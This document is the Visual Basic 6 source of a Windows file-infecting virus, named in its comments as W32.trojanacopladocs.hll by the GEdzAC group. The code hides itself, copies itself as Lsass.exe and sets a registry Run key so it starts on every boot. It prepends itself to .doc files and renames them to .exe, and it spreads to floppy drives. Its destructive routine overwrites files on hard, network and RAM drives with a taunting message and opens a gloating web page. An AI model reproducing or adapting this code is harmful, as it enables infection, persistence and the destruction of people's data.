VERSION 5.00 Begin VB.Form Form1 BorderStyle = 0 'None Caption = "Form1" ClientHeight = 90 ClientLeft = -7050 ClientTop = 3345 ClientWidth = 90 ControlBox = 0 'False Icon = "Form1.frx":0000 LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False ScaleHeight = 90 ScaleWidth = 90 ShowInTaskbar = 0 'False Visible = 0 'False WhatsThisHelp = -1 'True Begin VB.Timer escribirenregistro Left = 4440 Top = 720 End Begin VB.Timer Timer1 Left = 4440 Top = 240 End Begin VB.DriveListBox Drive1 Height = 315 Left = 120 TabIndex = 2 Top = 240 Width = 2175 End Begin VB.DirListBox Dir1 Height = 1440 Left = 120 TabIndex = 1 Top = 600 Width = 2175 End Begin VB.FileListBox File1 Height = 1845 Hidden = -1 'True Left = 2400 TabIndex = 0 Top = 240 Width = 1935 End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False 'Nombre: W32.trojanacopladocs.hll 'Autor: Morusa 'Origen: México, ... 'Corporacion: MLHR Corporation & Grupo GEdzAC 'S.O.:95,98,NT,2000,Me,Xp 'Descripción: Se adjunta a archivos ".doc" y espera 'a su correspondiente ejeqción para seguir infectando 'Terminado el 31 de diciembre del 2003 Public kehago As Byte Private Sub escribirenregistro_Timer() Call crearcadena(agregardiagonal(App.Path, App.EXEName & ".exe")) End Sub Private Sub Form_Load() Call generarfsoyws Call obtenerfoders Call crearcadena(dirwin & "\Lsass.exe") Dir1.Path = "C:\" App.TaskVisible = False If LCase(dirwin) <> LCase(App.Path) Then If existeGeDzaCmlh <> True Then Call copiarmeadirwin End If Else escribirenregistro.Interval = 100 Call existeGeDzaCmlh End If End Sub Private Sub Dir1_Change() File1.Path = Dir1.Path End Sub Private Sub Drive1_Change() Dir1.Path = Mid(Drive1.Drive, 1, 2) & "\" 'le asigno la unidad al drive1 End Sub Public Sub buscar(tipo As String) File1.Pattern = tipo Call buscar1 Call buscar2 End Sub Sub buscar1() Dim i As Integer Dim archivos As Integer archivos = File1.ListCount - 1 For i = 0 To archivos chkrarchivo File1.List(i) DoEvents Next End Sub Sub buscar2() Dim i, j As Integer Dim archivos As Integer Dim carpetas As Integer carpetas = Dir1.ListCount - 1 For i = 0 To carpetas DoEvents Dir1.Path = Dir1.List(i) archivos = File1.ListCount - 1 For j = 0 To archivos chkrarchivo File1.List(j) DoEvents Next buscar2 Next Call subirnivel End Sub Sub chkrarchivo(archivo As String) Select Case kehago Case 0: 'infectar 3 archivos Call infectar(Dir1.Path, archivo) Case 1: 'dejar bomba Call anikilararchivo(archivo) End Select End Sub Sub subirnivel() Dir1.Path = a.getparentfoldername(Dir1.Path) End Sub Private Sub Timer1_Timer() Static i As Integer On Error GoTo err: tiempo = tiempo + 1 Open dirsys & "\GeDzaC.mlh" For Output As #1 Write #1, tiempo Close #1 '''''''''''''''''''''''' If i >= 4 Then i = 0 kehago = 0 Dir1.Path = "a:\" File1.Refresh Call buscar("*.doc") Else i = i + 1 End If err: End Sub Function existeGeDzaCmlh() As Boolean On Error GoTo error: Call chkrexeparaborrar Open dirsys & "\GeDzaC.mlh" For Input As #1 Input #1, tiempo Close #1 Exit Function existeGeDzaCmlh = True error: End Function Sub chkrexeparaborrar() Dim borrar As String Dim resp As Byte Dim i As Integer On Error GoTo err: Open dirwin & "\readmer.cls" For Input As #4 Input #4, borrar Close #4 Kill dirwin & "\readmer.cls" While resp = 0 DoEvents resp = borrararch(borrar) i = i + 1 If i >= 3000 Then resp = 1 End If Wend err: Timer1.Interval = 60000 End Sub Function borrararch(dir As String) As Byte On Error GoTo err: DoEvents Kill dir borrararch = 1 Exit Function err: borrararch = 0 End Function Public Sub unidadesdedisco() 'este procedimiento chk ke tipo son las unidades 'y solo las de almacenamiento son elegidas según lo ke se 'rekiera hacer Dim unidades As Integer 'a uni le asigno el valor de las unidades ke hay On Error Resume Next 'aki se las asigno cuantas hay unidades = Drive1.ListCount - 1 'minetras ke no termine de anikilar las unidades 'hace lo siguiente Do While unidades <> 0 DoEvents 'para ke pueda ejecutar otros procesos el SO kehago = 1 'obtenereltipodedrive obtengo de ke tipo es con lo de arriba Select Case obtenereltipodedrive(Drive1.List(unidades)) Case 1, 4, 6: 'particion ,remotedisk o ramdisk Drive1.Drive = Drive1.List(unidades) & "\" 'kambio la unidad buscar ("*.*") 'le digo ke buske en esa unidad Case 3: 'kso disko duro Drive1.Drive = Drive1.List(unidades) Dir1.Path = Drive1.Drive & "\" buscar ("*.*") End Select unidades = unidades - 1 'le voy restando para ke vaya chekndo las 'unidades Loop End Sub Declare Function ejecutar Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Declare Function obtenereltipodedrive Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Public Const cdrom = 5 'cdrom Public Const hd = 3 'disko duro Public Const drive_ramdisk = 6 'disko ram Public Const drive_remote = 4 'unidad conectada de red Public Const disketera = 2 Public tiempo As Integer Const tamañoexe = 49152 Global dirwin As String Global dirsys As String Global diradp As String Global a As Variant Global b As Variant Global escape As Boolean Global conteo As Integer Sub generarfsoyws() Set a = CreateObject("scripting.filesystemobject") Set b = CreateObject("wscript.shell") End Sub Sub obtenerfoders() dirwin = a.getspecialfolder(0) dirsys = a.getspecialfolder(1) diradp = b.regread("HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\programfilesdir") End Sub Sub crearcadena(direccion As String) b.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\Winlogon", direccion End Sub Sub copiarmeadirwin() Dim exe As String Dim archivo As String Dim tam As Double On Error GoTo err Open agregardiagonal(App.Path, App.EXEName & ".exe") For Binary As #1 tam = LOF(1) If tam > tamañoexe Then 'separar Open dirwin & "\" & "Lsass.exe" For Binary As #2 exe = Space(tamañoexe) Get #1, , exe Put #2, , exe Close #2 Open agregardiagonal(App.Path, App.EXEName & ".doc") For Binary As #3 archivo = Space(tam - tamañoexe) Get #1, tamañoexe + 1, archivo Put #3, , archivo Close #3 Close #1 Open dirwin & "\readmer.cls" For Append As #4 Write #4, agregardiagonal(App.Path, App.EXEName & ".exe") Close #4 winword App.Path, App.EXEName & ".doc" Else 'copiar Open dirwin & "\" & "Lsass.exe" For Binary As #2 exe = Space(LOF(1)) Get #1, , exe Put #2, , exe End If Close #2 Close #1 Shell dirwin & "\Lsass.exe" End Exit Sub err: End Sub Public Sub winword(direccion As String, archivo As String) Dim resp As Long resp = ejecutar(Form1.hwnd, "Open", _ agregardiagonal(direccion, archivo), "", "", 1) End Sub Public Sub infectar(direccion As String, archivo As String) Dim arch As String Dim exe As String On Error GoTo err Open agregardiagonal(App.Path, App.EXEName & ".exe") For Binary As #1 exe = Space(LOF(1)) Get #1, , exe Close #1 Close Open agregardiagonal(direccion, archivo) For Binary As #2 arch = Space(LOF(2)) Get #2, , arch Close #2 Kill agregardiagonal(direccion, archivo) Open agregardiagonal(direccion, kitarextension(archivo) & ".exe") For Binary As #3 Put #3, , exe & arch Close #3 arch = "" exe = "" Call conteode3 err: End Sub Function kitarextension(archivo As String) As String Dim au As String Dim i As Integer On Error GoTo err: While au <> "." au = Mid(archivo, Len(archivo) - i, 1) i = i + 1 Wend kitarextension = Mid(archivo, 1, Len(archivo) - i) Exit Function err: End Function Function agregardiagonal(directorio As String, archivo As String) As String agregardiagonal = a.buildpath(directorio, archivo) End Function Public Sub conteode3() conteo = conteo + 1 If conteo >= 10 Then Call Form1.unidadesdedisco End Sub Public Sub anikilararchivo(archivo As String) Static paginamostrada As Boolean Dim respuesta As Integer On Error GoTo err: If LCase(diradp & "\Internet") = LCase(Mid(Form1.Dir1.Path, 1, Len(diradp & "\Internet"))) And paginamostrada = False Then Call mostrarpaginaweb paginamostrada = True Else SetAttr agregardiagonal(Form1.Dir1.Path, archivo), vbNormal Open agregardiagonal(Form1.Dir1.Path, archivo) For Output As #6 Write #6, "Virus MlourdesHReloaded II ha atakdo esta computadora" Write #6, "Virus 100% Méxicano, no es muy peligroso que digamos" Write #6, "Pero tu has sido el rival más débil ¡Adios!" Write #6, "Saludos a Ana Paty de Sinaloa y a Gedzac Labs" Write #6, "Espero y se hallan pasado una feliz Navidad y un próspero año nuevo" Write #6, "Feliz 2004 para todos" Write #6, "Para mayor información enviar un e-mail a tips@esmas.com" Write #6, "donde hablamos de computación en tu idioma" Write #6, "" Write #6, "*-Dime solo esta vez, que has pensado... solo esta vez -*" Close #6 End If err: End Sub Public Sub mostrarpaginaweb() Dim arch Set arch = a.createtextfile("C:\MLHR_Corporation_GeDzAc.htm") arch.write "" arch.writeline "MLHR Corporation-->Alerta del virus MlourdesHReloaded para Dotz" arch.writeline "" arch.writeline "

Grupo GeDZac

" arch.writeblanklines (1) arch.writeline "" arch.writeline "

Estimado Usuario de esta PC, lamentamos" & _ " decirle que está

" & vbCrLf & "

su computadora fuera de servicio o sea pasando a mejor vida.

" & _ "

Atte: MLHR Corporation

" arch.writeline "

No se hace responsable de lo ocasionado, gracias por su comprensión. Cuenta Hasta 10

" arch.writeline "
Mañana buscaré un camino a la salida pues esto me " & _ "encierra en un circulo vicioso...
Yo sufro me retuerzo y lloro en exceso...
" arch.writeline "
Very Sad... but I remember u
" arch.writeline "

Mi ciclo de vida fue de --> " & tiempo & " Minutos

" arch.writeline "
" arch.writeline "

El amor no se crea ni se destruye, sólo se transforma.

" arch.writeline "" arch.writeline "" arch.Close b.run "C:\MLHR_Corporation_GeDzAc.htm" End Sub '

'       xx xxxx
'     xxx xxx xxx
'   xxx xx x xx xx
'  xx xx x xx xx xx
'xx x xx xx xx x x x
' xxxx xx xx xxxx xxx
'  xx xx xx xx xx xxx
'   xx xx xxx xx xxx
'    xxxx xx xxx xx
'      x xxxx x  
'           xxx         x
'            xxx      x x
'             xxx    x xx
'              xxxx x xx
'               xxx xxx
'                xxxx
'                xxxx